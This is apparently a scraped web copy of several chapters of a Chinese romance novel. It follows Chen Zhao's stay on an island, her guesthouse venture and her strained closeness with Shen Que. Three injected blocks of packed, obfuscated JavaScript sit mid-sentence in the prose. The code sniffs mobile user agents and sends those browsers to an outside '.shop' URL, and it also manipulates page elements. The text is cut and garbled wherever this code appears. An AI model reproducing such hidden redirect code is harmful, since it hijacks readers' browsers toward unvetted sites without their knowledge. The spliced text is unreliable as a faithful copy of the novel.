不同于其他孩子,他是个很典型的混种人,没有本地民族那般五官体量大,中和了汉人的淡颜,看起来就恰当好处,少了攻击性,但那双眼眸持久锋锐。 以至于他二十岁的那一晚,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641046|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诩克制的陈昭也没把持住,被他的纯净和天然的野性而吸引。 人的本能就是如此而来。 此时她唇角带着一点笑意,蔡奇频频转头看她,觉得这张脸确实漂亮,但又有点熟悉,想不起来在哪见过。 而沈确只是找了个借口回应杨指导,目光看都没有看陈昭一眼。 可陈昭却知道,他这些所谓的送资料,无非都是借口。 大概一如此前自己的猜测,是与她同住一屋檐,让他不自在了。 所以才宁可搬出去住几天,不想彼此尴尬和困扰。 不过陈昭并未戳穿他,而是在杨指导要请他吃皮皮虾饭包的时候,在吧台下把大门的钥匙递到他手里。 指尖的忽然触碰,似电流一般触动沈确。 一股难以言喻的酥麻感忽然传入。 顷刻间他捏紧钥匙,听到陈昭坦然自若地小声说。 “今晚回家。” 这就像一条死令,压着沈确,但又莫名的令其嘴角上扬。 陈昭想,也许自己的确给他带来了无形的压力。 反正现在过渡期也过了,今天下午杨指导还特意帮她找了间空房,是村里的一间阁楼,她随时可以搬过去。 既然决定和康老师他们合资,一时半会也不会离开小岛。 另外找个房子就额外重要了。 晚上她特意挑了赵写茹空闲的时候,用新手机给她打去电话,告诉她事情的来龙去脉。 今天离岛后陈昭借杨指导的手机登录了平台,刚好看到赵写茹的私信。 附带了她的电话,陈昭就此联系过去。 赵写茹听她这短短几天的离奇经历,一时哭笑不得。 彼时的她还坐在办公楼里,俯瞰着赵氏大厦下的车水马龙,不禁问她。 “昭昭,你觉得现在的生活是你想要的吗?” “你和沈确在一起,不会觉得尴尬困扰?” 要知道,当初她因为和沈确那一晚的事,懊悔自责了许久,甚至大病一场,借着出差的借口,在赵写茹的别墅里躺了整整半个月。 而且两人曾经亲密无间的关系,也因为这层窗户纸的捅破,整整七年没有过多的联系。 只有偶尔的节日问候,当然,他们两人更多的事情,赵写茹也没有深入询问。 她只是不想让陈昭陷入当初的那种自责之中。 陈昭平静地说道:“不会。” “那件事过去很久了,沈确在我眼里,永远都是马西。是我和姑姑从帕米尔高原带回来的孩子,姑姑就是希望他能和正常人一样,人生过得顺利一些。” “现在他做到了,我由衷为他高兴,我相信他也会有分寸。” 只是一个出格的错误,七年过去,虽说不指望完全修复,但至少也能彼此平和,默契地将关系拨正。 “写茹,他是姑姑视为孩子的人,就只会是我弟弟。” “所以有些事不用担心。” 陈昭信誓旦旦地说着,口吻无比笃定,可是挂断电话后,却看到沈确笔直地站在门口。 目光复杂地看着她的身影,说不出是何种情绪。 对视不到一秒,他就勾起唇角,将钥匙随意地丢在鞋柜上。 他的“不屑一顾”,陈昭确定他刚刚听到了自己说的那些话。 他本来想把手机还给她,但坐到椅子上后忽然反悔,顺势放回了衣兜里。 因此椅子往后半仰着,后腿支地,他压着椅背慢慢地摇,漫不经心地喝着水开口。 “昭姐就这么肯定我有分寸?” 8. 08. 他的眼神跟随着陈昭,目光灼灼。 看似云淡风轻的反问,却极具侵略性,好似是带着一股质问的语气。 见此,陈昭忽然朝他走近。 两人的裤脚碰在一起,她站着垂下目光,面色平静地凝视沈确开口。 想着既然来都来了,中间也用了那么久的时间去缓和当年的事,面对面的,把心里的疙瘩全部抚平才好。 “阿确,那你现在实话告诉我,你对我,还存着那些心思吗?” “还是想和以前那样,打破我们之间原有的关系,非要搅个翻天覆地?” 沈确心里一咯噔,但很快唇角一勾,笑着摇头。 “我说过我是个感恩的人。” 他缓缓起身,但陈昭却并没给他让出一条路,反而一声不吭地凝视他。 直到目光落向他拿着杯子的那只手,冷不丁地伸手将他杯子拿过,双手触碰,沈确下意识地怔了一下。 动作虽小,但也足够让陈昭察觉。 那瞬间,坚定了她明早就要搬走的决心。 因为他口是心非。 她拿过杯子,替他放到了台面上。 背对着他,陈昭便能更好地用昭姐的身份与口吻,替姑姑关心一下他在这里的境况。 “研究院的条件还算不错,今年你也27了,你觉得自己的生活,有按照你当初选择的初衷进行吗?对于现下,你可否满意?” “姑姑遗嘱里,是等你到三十岁,基金会每个月给你一笔钱,那是姑姑对你的关照,你不必总是与高律师谈取消之类的话。” 这一刻的她,俨然就像在明港深水湾的别墅里,她在关心自己学业生活的一幕。 沈确布满盔甲的心,好像瞬间柔软了。 只不过对于她的那些问题,沈确不想回答。 反倒以此反问她:“那昭姐呢?你对于现下的生活满意吗?是不是和你当初所预想的生活那样呢?还有……” 他深吸了一口气,声音不由自主地压低。 “你来小岛,仅仅是因为观鲸吗?” 陈昭知道他在期待另一个答案,遂笑了笑:“当然不仅仅是因为观鲸。” 她敏锐地捕捉到沈确那眼底飞速闪过的希冀,但可惜,她的下一句话令其瞬间熄灭。 “给自己放了个假,小住一些时间。” 沈确调侃:“没想到昭姐还有这么好的兴致,果然是变了。” 他侧身绕过陈昭,长腿迈进自己的房间。 关上那门后,眼底却是抑制不住的失落。 他侧耳听着外面的动静,紧贴着门板的后背微微发凉,胸腔中好似积聚了一团难以言喻的郁气。 深呼吸之时,门外的陈昭忽然出声。 “我对现在很满意。” 的确是很满意。 离开了新丽,摆脱了婚姻的枷锁,又从死神的手里拉回了自己一条命,拿着多年拼搏换来的积蓄,重启自己的人生,何尝不满意? 只是有时候,她偶尔会被心底深处的一些秘密,反复折磨罢了。 不过她相信,总有一天,她会想通一切,并接受一切。 次日一大早,陈昭就已经收拾好了东西。 沈确刚晨跑回来,一眼便看见她拎着行李箱下楼。 眉头一蹙,挡在她面前:“昨天我说的还不够明白?以至于你非要搬走?” 话音刚落,陈昭还没来得及开口,杨硕意外地走过来:“陈小姐……你……怎么从沈确的房里出来?” 陈昭微微一笑,随口解释道:“抱歉杨指导,一直没和你提起过,沈确是我弟弟。” 杨硕一听,大为吃惊,连忙看向沈确,一拳头捶在这小子胸口上:“好家伙,你怎么不和我说呢?你姐这几天那么惨,你都没当回事啊?” 说完便更加热情地上手要帮陈昭拎箱子。 沈确却提前一步,夺过陈昭手里的行李箱,二话不说地扭头走出宿舍大门。 杨硕一脸愕然:“这小子吃火药了?” 陈昭浅笑:“我惹他不开心了。” 杨硕他笑出声:“这姐弟的关系还真是如此,我以前也经常和我姐吵架,现在都中年人了,在电话里还能拌嘴。” “不过你住在沈确宿舍挺好的,咱们院里条件不错,当初和他同批留下来的人都分到的是家庭房间,两室一厅,也不用额外出钱,你完全不用搬啊。” 陈昭只说:“他长大了,我俩住着总有不方便的时候。” 杨硕愣了下,想到沈确这血气方刚一小伙子,万一哪天要带女朋友上门,有个姐姐在,的确……太不方便了。 所以杨指导立刻表示理解地点头,带着他们去了他为陈昭找到的空房里。 是在村里一家民房的阁楼上,房东是岛上的渔民,一对中年夫妻。 阁楼上种满了花花草草,女主人担心陈昭觉得杂乱,想着要将那些东西都搬走。 陈昭连忙制止:“不用麻烦了,这些花草挺好的,看这盆三角梅,等天气再暖和一点,肯定会开得更满。” 阁楼虽小,但五脏俱全,也干干净净的,陈昭很满意。 当即与房东要签订合约。 可那夫妻俩笑着罢手:“就腾出一个小屋子的事,哪用得着那么正式地签合同?你就放心住下吧,这钱也不需要给咱们。你可是杨教授的朋友,又是小沈的姐姐,我们当然不会要你钱了。” 陈昭很意外,杨硕冲她笑眯眯地说道:“陈小姐不要有负担,这屋子租出去也没几个钱,空着也是空着,没关系的。” 陈昭自小就和钱打交道,更是知道无故不吃嗟来之食的理,还是坚持按照行情付了三个月的房租。 她现在卡都补办好了,新手机也买了,没什么困难的。 安定下来后,杨硕还想让沈确帮他姐收拾收拾,结果一转眼,沈确不见了人影。 殊不知沈确站在斜对面的某个山坡上,从那个特定的角度,能一眼看到陈昭住的阁楼小屋。 刚刚他听到了,她交了三个月的房租。 那就是说,她要呆三个月。 想到这,他无意识地勾起唇角,意识到自己藏不住的情绪后,又紧绷脸色,赫然起身,逃离似的加快脚步回了研究院。 陈昭刚收拾好房子,康老师夫妇竟然找到了此处。 “昭昭,刚刚那会我先生说看那人像你,我们就过来打听了一下,你果然是搬到了这里住啊?” 陈昭受宠若惊地将他们请上楼,他们刚好想去找陈昭签约的。 陈昭二话不说地和老两口回了那个小洋楼,细致地查看了一遍后,由她和二老正式将那洋楼盘了下来。 交换了联系方式后,陈昭马上表示对老爷子说道:“宋老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641047|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您是建筑方面的专家,屋子装修布置,修缮等这块就要麻烦你了。” “我就是个出资人,方案你们定,需要多少尽管和我开口就好。” 陈昭担心别人还会不好意思,索性先给宋老师的账户转了二十万过去。 “先用着。” 老两口见她也算是家境殷实,也不多说什么。 为了庆祝他们的合资民宿签约,陈昭特意请二老去了脆鱼饭店吃素面,而且还有芬姐新做的生腌。 二老上了年纪,这生腌也是吃不习惯,她便跑去买了杨指导带自己吃的皮皮虾饭包。 三人坐在桌上畅聊了起来。 交谈之下,陈昭才知道宋老师是高校的老教授,早就退休了,康老师也是退休高中教师。 “我和老宋生活了一辈子,也忙了一辈子,看着他们事业有成,家庭美满,也总算是能歇口气了。” “就想着余生还有点日子,该过过属于我们两个人的日子。” 陈昭看到他们,竟觉得有些羡慕。 难得这么大年纪,还有如此浪漫的想法,她心里是一片感慨,也相当祝福。 只是聊天之际,陈昭注意到柜台上有个女孩的目光,总是往他们这边看。 只要自己看过去,女孩马上就会佯装无事地收回目光。 而且但凡陈昭他们有任何需求,女孩第一时间会过来服务他们。 一会是激动的送饮料,一会又是雀跃的端菜,每次过来,都会多看陈昭两眼。 就连来饭店帮忙的小伙子都察觉出来了。 他皱着眉头,揪了下女孩辫子:“你认识那女的?” 女孩是饭馆老板娘,芬姐的女儿周竹君。 周竹君嘘了一声,满脸八卦地将他拉到柜台下,兴奋不已地说:“刘润生我和你说啊,你别惊讶。” “那姐姐,是确哥的白月光。” 名叫刘润生的男孩满脸无语地看向她:“什么白月光白日光的,你别看得太明显!不知道的还以为你要做贼啊。” 周竹君忍不住翻了个白眼:“也是,我和你这木脑壳说什么,你又懂什么呢?” “你只要知道,这个美女,是确哥手机屏保上的那个美女就是了。” 闻言,刘润生这才认真起来:“确哥屏保上的美女?” 两人还没说完,周竹君就被喊去后厨帮忙了。 路过陈昭时,还不忘多看了她两眼。康老师都笑出声:“昭昭,那女孩是觉得你漂亮咯。” 陈昭笑了笑,接下了康老师的打趣:“要真是康老师说的这样就好了。” 他们吃过晚饭后,已经天黑了。 陈昭先送他们二老回住所,才往新房间去。 沿着海岸旁的柏油路走了许久,直到途经脆鱼饭店,本想着买个葱油饼明天早上吃,结果饭店已经早早关了门。 她站在路边,看着前方深色的天际,顺手从衣兜里摸出一包烟。 细长的女士香烟,带着一丝薄荷气噙于嘴边。 她深吸一口后,并没有从嘴唇上拿掉,而是抬起下巴往前看去。 没想到沈确拎着水果竟站在前方的路灯下。 陈昭眉眼轻动,吐出一个漂亮的烟圈,打着旋儿慢慢上升。 朦胧间,海面被路过的小船灯打过,折射出碎钻般的光影,让沈确的身体轮廓更为清晰。 9. 09. 陈昭并没有烟瘾,只是兴致上来,偶尔会想。 而沈确当然也不是第一次看见她抽烟。 仔细想来,第一次看见她抽烟,还是在他被接回深水湾住的时候。 那段时间,新丽面临改革,她很忙,忙到十天半个月都见不到影子,哪怕沈确试探性地给他发消息,也是石沉大海。 过了几天后,会偶尔回个简短的信息过来。 至此就没有然后了。 沈确自打回到学校重新学习后,就住校了。 是他自己主动提出来的,他不想麻烦任何人,哪怕当时陈昭觉得她家有阿姨照顾,自己并不麻烦,他也不肯。 以为他是忌惮陈家的其他人,便明确和他说。 “是我带你回家的,任何人的脸色你都不用看,在家住着,阿姨能照顾好你。” 但他还是拒绝了:“住校能让我更沉浸式地学习。” 这个理由,陈昭再没法反驳。 学习为上,他那么爱学习,自己哪有不满足他的道理。 住校的日子他并不觉得枯燥,那个时候他心无旁骛,只想好好上学,不能让任何人失望。 到了周五,寝室里的人接二连三地回家,沈确送走他们,自己开着小台灯坐在书桌前做题。 钢笔在指尖转动,心里却不由得想起刚刚室友离开前说的那句话。 “我很想家了啊,恨不得天天在家住着!什么时候才能结束这住校的苦逼日子啊。” 家…… 他也想,只不过他心里的那个家,并不被他人承认。 而那个最为原始的家,也早在记忆中被蒙了尘。 就在他心思飘外之际,陈昭开着车到了他学校门口。 “收拾东西,回家。” 听到她那通电话时,沈确的心一下子雀跃起来。他瞬间起身,想都没想地快速卷起所有书本,一路狂奔。 潮湿的夜风灌进了肺部,发丝被风吹起,露出了他宽阔白净的额头。 少年干净澄亮的目光,远远锁定在校门口的那辆商务车上。 陈昭缓缓摇下车窗,将嘴里叼着的那根烟拿下,示意他上车。 这就是沈确第一次看到她抽烟。 等他坐到了副驾驶后,陈昭将烟掐灭,特意打开所有车窗启动车子。 等晚风吹了一会后,才问:“还有味道吗?” 沈确摇摇头,鼻子里只有街道晚风带来的凉意,还有车内淡淡的皮革与无花果香的交织。 烟味早已散尽。 回去得有些晚,阿姨已经下班了,猜到是这种情况的陈昭,路过一家面馆时带沈确去吃了个夜宵。 但即便临近深夜,她也是接了好几通电话,以至于面都坨了,电话还没打完。 沈确默默的让老板又煮了一碗新的面条。 陈昭并未发现,吃的也很香。 回到车内时,陈昭看到了他鼓鼓囊囊的书包,偏头问他:“学业很重吧?” 休学一年重新回校,肯定没那么容易。 就像那段时间的陈昭,新丽改革,内外都出了点问题,她只能夜以继日地周旋在各种事情里,忙到一天下来,也就刚刚吃了那碗面。 好不容易来得得空时间,不等沈确回应,她忽然催促着沈确下车。 然后带着他走到附近的一处公园山脚下。 明港的紫竹山,是整片区域最高点。 晚上大门关闭,陈昭则带着沈确从这条小道进入,她脱下高跟鞋,将风衣的腰带解开,挂住鞋子别在腰间后,又捋起袖子示意沈确:“要不要陪我爬到山顶?” 沈确还是第一次看到昭姐这么出人意料的形象。 印象中的她,总是不言苟笑,端庄又克制,不管和谁都保持着一种恰当好处的距离。 以至于被带回明港好些年,他对陈昭,都是客客气气,无比礼貌的。 可这时的陈昭,却在他的心里变得更亲近一些,面相都柔和了。 他们花了两个多小时才爬上去,如果让沈确一个人爬的话,四十分钟顶了天。 可陈昭没体力,满腔的雄心壮志,在爬了不到二十分钟后就已经被击溃。 硬是被沈确连拖带拽地拉到了山顶。 两人坐在山顶的椅子上,看着山下的明港星星点点,深深吸着足够饱满的氧气。 陈昭更是感到一种前所未有的畅快,一时没收住,又别了一根烟。 燃起后才注意到沈确看过来的眼神。 她感到抱歉地说:“没熏着你吧?” 沈确笑着摇摇头,小心翼翼地试探着问。 “昭姐,我如果考回内地上大学,选择一个不是那么热门的专业,距离明港还有点远,你会对我失望吗?” 陈昭笑了笑,故意吐出一个烟圈。 “姑姑带你回明港的初衷,不是想把你当成亲生儿子绑在身边,就算姑姑有孩子,她也不会做出那样的事。” “我们只希望你能像个正常人一样,好好的活着,有自己的理想,有自己的人生,平安顺遂,前路坦荡就好。” “人就是要按照自己的意愿去活着。” 她那时的意愿,就是接过外婆手里的集团,成为能让外婆感到最骄傲的人。 所以沉浸其中,将攀爬的事业视为每一年的目标。 而沈确,也一直按照她的话活着。 除了某个意愿永远达不到以外,其他的生活是挺满意。 那也是沈确第一次对陈昭有了除高高在上的姐姐外,还生出别的印象。 再回到现在,两人隔着一条马路相望,陈昭已经将烟掐灭,挥手和他问了好。 但这时,陈昭身后的巷子里传来了吵闹的声音。 她回头看去,只见一个女孩固执地提着个铁桶,手里还拿着一些卡片什么的,毫不犹豫地往铁桶里面扔。 铁桶里窜出的火苗,将那些东西吞噬为灰烬。 女孩哭着愤怒道:“大不了以后我不追星了,再也不买这些没用的东西了,这样你满意了吗?!” “我从来就不需要你为我大半夜累死累活的也不睡觉,跑去别人的小作坊里压米皮,上次你手指受伤住院,上上次又是过度劳累昏迷进医院,你怎么都不替你自己想想?!” 她歇斯底里地把那些卡片,信纸和书籍全部丢到铁桶里,整个人也像泄了气的皮球一般,跪 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“我宁可被你打骂一顿,说我败家子,说我白眼狼都行,可你不能……不能自己去遭罪,然后再纵容我去做那些没良心的事!” “家里没钱,你大可以和我说,我不觉得有什么。没钱有没钱的活法,有钱就有钱的活法。演唱会算什么?我不去看就是了!可是如果你……如果你身体再累出毛病来,你让我怎么办?” 一股脑说完后,女孩狠狠抹泪,情绪崩溃到难以开口。 最后只撑着仅有的理智撂下一句。 “以后你如果再为了赚那点钱,不顾自己的身体,强撑着去干活,那我也不读书了,我就去打工!” 说完便冲进饭店后门,铁门被拍得哐哐响动。 芬姐没去追,反倒是急急忙忙地去把铁桶里的东西倒出来,想去捡回那些卡片。 此刻陈昭看见沈确想上前,立刻抓住他的手,将其拉到跟前,压着声音示意他别出声。 沈确心里一咯噔,看着近在眼前的女人,以及自己几乎要烧起的掌心,血液几乎在那一刻倒涌。 陈昭不想别人揭穿芬姐的狼狈,换位思考,她如果是此时的芬姐,肯定也不想被人看到这一幕。 她把沈确拉到一旁去,等远离了巷子才开口问。 “你认识芬姐是吗?她女儿看起来好像不大,他们家很困难吗?” 几次在脆鱼饭店吃饭的经历,陈昭大概能看出来,这个家庭并不富裕。 而且整个饭店也只有芬姐一个人,包了后厨,收银等所有的事务。 有时候会见到一个女孩和一个男孩来帮忙,但他们年纪都不大。 她忍不住好奇起来:“刚刚那情况,大概是老板娘想让女儿去看演唱会,所以半夜去帮工被女孩发现,女孩还是心疼她的妈妈,不过小犟骨头不会说话,她……” 陈昭没意识到自己说得太多,见沈确的目光别有深意地往下垂看时,她才停下来:“你好像并没有听我说话?” 沈确嗤笑一声,毫不犹豫地举起两人交握的手问她。 “昭姐,这,合适吗?” 10. 010. 陈昭眉眼微动,并没有第一时间松开。 反而因为这只手上的厚茧,还有粗粝的骨节有些颤动。 毕竟,当初他的手并不是这样。 抚摸在自己胸前的触感,陈昭依旧记得清晰,可是当她不由自主摩挲之际,沈确他却果断甩开。 不等陈昭开口,沈确头也不回地转身往前走。 走了不到两步,又回头看向她,皱眉道:“你是打算留在这当芬姐的知心朋友?” 陈昭忍俊不禁,提步跟上去。 他走在前面,不敢放慢脚步,生怕熟悉的香气靠近自己,让他刚刚剧烈跳动的心,再次翻滚起来。 然而他也不想甩开她,能听到她跟在自己身后的脚步声,沈确莫名感到安心。 就像很早之前,他只要在家中,就很期待每天晚上陈昭的脚步声。 那时还没有确定自己的心意,可能不是爱,单纯的是一种安心。 只要她回家,哪怕他躺在房间的床上,没有见面,也能感到踏实。 就这样两人一前一后的走了一会,直到来到前方海岸边时,沈确停了下来。 陈昭顺势收住脚步,下一刻却看到前方的堤坝上站着一个人,她只要往前一步,仿佛就能坠入大浪拍打的深海中,然后被海水吞噬。 而灯塔下那个人,赫然是刚刚的女孩。 陈昭微惊,几乎是下意识地冲女孩跑去,想都没想从后面将她狠狠抱住,将她拉进怀里,用力地阻止她的反抗之举。 “放……放开我!” 女孩挣扎不过,只得气急败坏的踩了下陈昭的双脚。 顿时疼得她倒吸一口冷气,但双手还是没有放开。 直到沈确跑过来将她拉开后,那女孩才眼泪巴巴地看过来,又惊又气又疑惑地开口。 “确哥?她,她……” 慌乱之下,周竹君看清了陈昭的样子,顿感自己过于狼狈,赶紧低头擦拭自己的眼泪,嘟囔起来:“确哥,你……你怎么在这?” 陈昭面色认真道:“只是和你妈妈起个冲突而已,大可不必把自己置于这么危险的地步。” 周竹君愣了一下后,才反应过来,讪讪道:“我……我也没想寻死,我就是在这里吹吹风而已。” 见他们看到了刚刚自己和母亲争吵的一幕,她难堪地背过身子,努力把脸上的泪痕全部擦掉。 而这句话,倒是让陈昭有些尴尬了。 只是那一瞬间,让她想起了自己。 和她差不多的年龄,陈昭也和母亲起过不少冲突,最后一次,甚至让她没有赶回明港看母亲最后一面。 当年母亲病逝,父亲又一走了之,她站在集团总部的大厦顶楼,看着脚下的万丈深渊。 所幸她怕死,最终没那勇气。 后退到平地时,她的双脚不受控制的瘫坐在地上,坐了整整一个下午才缓过神。 所以当她误会女孩有轻生念头之际,吓得来不及去思考。 她回过神,扯了个笑容表示歉意:“抱歉,是我误会了。” 看她这么有礼貌,又是确哥屏保上的美女,周竹君赶紧调整自己,连忙摇头。 “姐姐也是一片好心,只是……我有点不好意思。” 陈昭笑了笑,顺势从衣兜里拿出刚刚捡到的那张卡片,递过去:“如果我没认错的话,这上面的男生应该叫周度吧?” “他好像是一档选秀节目出道的天才型歌手,这两年取得了不错的成绩,身价也挺高。” 此言一出,不仅仅是周竹君诧异,就连沈确都讶然了下。 她竟然会关心这些事? 沈确顺势看向那张卡片,微微蹙眉,也没觉得这男的优秀到能让陈昭如此了解的地步。 不过周竹君却是找到知音似的,言语有些雀跃。 “姐姐也知道周度?” “不过我们家度哥现在这么有名,家喻户晓了,姐姐知道也不奇怪。” 陈昭觉得女孩挺可爱,不禁想满足她:“你是想去看他的演唱会吗?” “我有票,到时可以带你一起去。” “真的假的?!” 周竹君双眼顿时亮堂起来!但又觉得陈昭是在骗她:“度哥的门票可太难抢了!!而且还远在晏城,高铁住宿都是一笔不小的费用。” “我妈她……哎不说了,姐姐你也别安慰我了,这事我想通了。偶像只是偶像,虽然很重要,可我妈对我更重要。” “既然你这么想,等会回家后可以尝试和你妈妈好好的谈一谈,用词方面,稍微……温柔一点?” 周竹君倒也想,但她这急性子,一想起她妈总是为任何人委屈她自己,周竹君这心里又气又难过。 沉默间,陈昭表示:“你妈妈那么爱你,言语带刺去伤她是不能表达你对她的心疼。” “等我拿到门票我带你去听演唱会,前提是希望你能和你妈妈好好沟通沟通。” 周竹君像只乖顺的小猫,虽然知道陈昭要带自己去听演唱会是安慰她的,不过她的那些话,却说到了周竹君的心坎里。 “好了,别不开心,如果你不介意的话,带你去买甜点吃。” 周竹君下意识地看了一眼沈确,自己那些事逐渐被抛到脑后,反倒想问问沈确的意见。 “确哥你也想吃甜点吗?宋阿姨的蛋糕店应该还没关门。” 陈昭不等沈确回答,便牵过周竹君的胳膊:“他喜欢吃,走吧。” 周竹君一听,诧异地回头:“确哥你喜欢吃?你不是不……” 话还没说完,她看到沈确主动跟上他们的脚步,顿时明白过来。 好家伙!!平时确哥甜点蛋糕什么的一概不碰,姐姐想吃了,他就改变主意了。 果然人是善变的! 不过也进一步佐证了周竹君心里的一个想法。 趁着陈昭去挑选蛋糕时,周竹君小心翼翼地走到沈确身边,压着声音问。 “确哥,你是不是暗恋姐姐?” 沈确脸色突变,目光像刀一样闪着寒光直射而来。 但越是如此,就越让周竹君笃定:“我去!!我就猜到是!!确哥啊确哥,真想不到!不过那姐姐特有气质,你暗恋她我也能理解。” 沈确想去捂她的嘴,然而周竹君一个欠扁的眼神顿时躲开他的攻击。 直接跑到陈昭身后求救:“姐姐救我!他要打我!” 陈昭看到面色黑沉的沈确,不禁失笑。 它将周竹君护在身后,将手里的小蛋糕放到桌子上:“阿确,你来切。” 周竹君一听,马上在陈昭身后动了动口型:阿确,阿确。 这欠扁的样子,和蔡奇是如出一辙。 这两人虽不是亲生兄妹,倒也胜似亲兄妹。 卖相还不错的蛋糕,但吃进嘴里就不是那么回事了。 甜到发腻的味道让陈昭情不自禁地皱起眉头,还有那糊嘴巴的蛋糕坯,实在说不上好吃。 但沈确和周竹君两人却吃的很香。 看到现在沉默寡言的沈确,陈昭不禁想起以前自己为他烤蛋糕的时候。 新丽稳定那会,她终于有了自己的空余时间。 本来是和赵写茹约定去芬兰度假,可赵家那边有事走不开,她一个人出去也没什么意思。 便回自己住所宅了大半个月。 刚好沈确大学也放长假,陈昭知道那天他要回来,又恰逢他的生日。 所以一时兴起,就亲自动手,给他制作了一个蛋糕。 她还记得,沈确看到自己蛋糕的第一眼,小狗似的眼睛瞬间就晕红了。 陈昭举着蛋糕站在门口,示意他吹蜡烛。 可沈确的眼泪源源不断的涌出来,十九根蜡烛,竟然两口气都没吹灭。 还是陈昭帮他吹了一口气:“生日快乐,马西。” 不知道他是否也会偶尔想起那天。 陈昭想着想着便出了神,还是周竹君喊了她几句昭姐姐,才让她缓过神来。 “姐姐,谢谢你的蛋糕,下次有机会你来我家餐馆,我请你吃面!” 陈昭微微一笑,点点头。 她和沈确一起送她回了家,到只剩下沈确和她两个人的时候,沈确面无表情地把手里那袋水果递给她。 陈昭顺势接过,然而感谢的话还没说出口,沈确就已经头也不回地往研究院宿舍的方向走去。 这小子。 不过陈昭低头打开塑料袋,发现里面除了水果外,还有几包不同品牌的苏打饼干。 他看出来自己不是很喜欢吃那蛋糕。 亦或者,在超市的时候看起苏打饼干就想起了自己…… 一时间,陈昭觉得自己的掌心有些发烫。 她掐灭思绪,回了阁楼。 但不知为什么,整整一晚上,陈昭都没睡好。 翻来覆去,被各种各样的梦境缠身。 其中记得最清楚的,莫过于她又重新回到了和孟均的婚礼现场。 那时沈确将她拉出酒店,要带她走。 她没有拒绝,而是和他一起逃出了那里,两人不知道跑了多久,从黑夜跑到白天,一起迎接霞光万丈的清晨日出。 沈确还是二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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芬姐有些局促,但也由衷地说了感谢之话,尤其是昨晚女儿提到过她。 “陈小姐,竹君说昨晚是你开导了她,还让她和我心平气和地说话。谢谢你啊。” “芬姐你客气了。” 芬姐想起那日她来和自己求助,要抵押镯子换现金,自己还没答应,这心里有些愧疚。 正想着如何解释后,收米皮的几家商铺老板,挨个给她结了月款。 一下子收到钱,芬姐顿时欣喜不已,想到辛苦一个月来了回报,那双脚不由自主地又踩着点舞起来。 不过才两个节拍,看到陈昭笑盈盈地看向她,芬姐极为不好意思地挠了挠头,尴尬到脸色有些泛红。 陈昭见状,索性在她面前独自迈起探戈的舞步。 还打趣地问:“芬姐,你看我这标准吗?” 芬姐忍俊不禁,刚才的那些尴尬一扫而过,索性也学着陈昭的步伐,前后左右迈了一通。 陈昭看着泛起鱼肚白的天空,一时兴起,坐到小三轮上招呼芬姐上车。 “不如我们去看日出吧,快上来。” 芬姐脸色怔愣,不等她犹豫,陈昭已经拍着三轮车催促她。 半推半就地被陈昭带上小三轮,绕着那条海岸小路,一路开到了那片海滩上。 芬姐每天都早起,但没有一次是为了看日出的。 周围很静,只听得到缓缓海浪的声音,和偶尔来往船只机器的声音交织。 天空一道浅浅的蓝色,转眼间在水天相接的地方出现了一道红霞。 太阳还未升起,海面上微波荡漾,直到一缕霞光冲破云层,海面也随即变得明澈起来。只见细浪涟涟,波光闪闪。 一圈弧形的光芒燃烧在海平面上,照耀得近旁海面金光灿灿。 芬姐的心,好似也跟着涌动的海水变得不平静。 她眼眶湿润,笑着看向陈昭,第一次对这个陌生的女人产生了好奇。 “陈小姐,你是来小岛旅游的吗?” 陈昭认真思考了下这个问题,点点头,但又摇摇头:“算是吧,但好像……也不全是。” 她曾告诉自己,是奔着观鲸计划来的。 发现这个小岛环境优美,非常适合长住,既然是放松,自己便留下来小住。 可内心深处,她却知道在这里会遇见沈确,会和他重新产生交集,明明知道这样不好,违背初衷,可是……她偏偏又违心地来了。 她自嘲一笑,只道:“其实我是做了一场手术,忽然想通了某些事情,然后就来这里平静下。” “手术?” 看到陈昭指向她自己的乳/房时,芬姐诧异地轻捂嘴。 就在此刻,陈昭发现了站在她身后的沈确,笑容微僵。 他晨跑出汗,气喘吁吁地凝视着陈昭,黢黑的眼眸无端盯得陈昭心内狠狠悸动。 11. 011. 正想着他刚刚是否听到了自己的那些话,芬姐忽然笑着和他打起招呼。 “小沈?你这么大早就锻炼身体呢?” 沈确点点头,脸色温和下来,多看了陈昭两眼后,又果断转身继续去跑步。 看样子似乎并没有听到刚刚陈昭和芬姐说的那些话。 从心底上来说,陈昭是不希望他知道自己生病的事。 既然决定将关系修复到曾经那样的位置,很多事情就不适合说得那么详细。 更何况她现在也已经好了。 犹豫间,芬姐又忍不住小心翼翼地询问她:“那……现在是好了吗?” 陈昭回神,笑着点头:“嗯。” 听她这么一说,芬姐才放下心来。 而此刻的海平面,已经是霞光万顷,刚刚还是半暗的天色,如今已经是一片明亮。 空荡又安静的街道也逐渐变得热闹起来。 芬姐邀请她去饭馆吃面,陈昭正好饿了,便没拒绝。 两人一起回去的路上,陈昭看见道路两旁的不少民房,挂满了鱿鱼干,还有海鱼。 独属于小岛的味道在空气中蔓延,陈昭觉得内心很安定。 大概是明港郊区的小渔村也有同样的味道,小的时候,老太太在那边还有一座老房子,她时常会跟着老太太去那边小住。 或许是相似的味道,才让她有这种感觉。 等他们到了饭店开门后,芬姐为了感谢她,特意给她煮了一碗满满的面,还多加了一份面条。 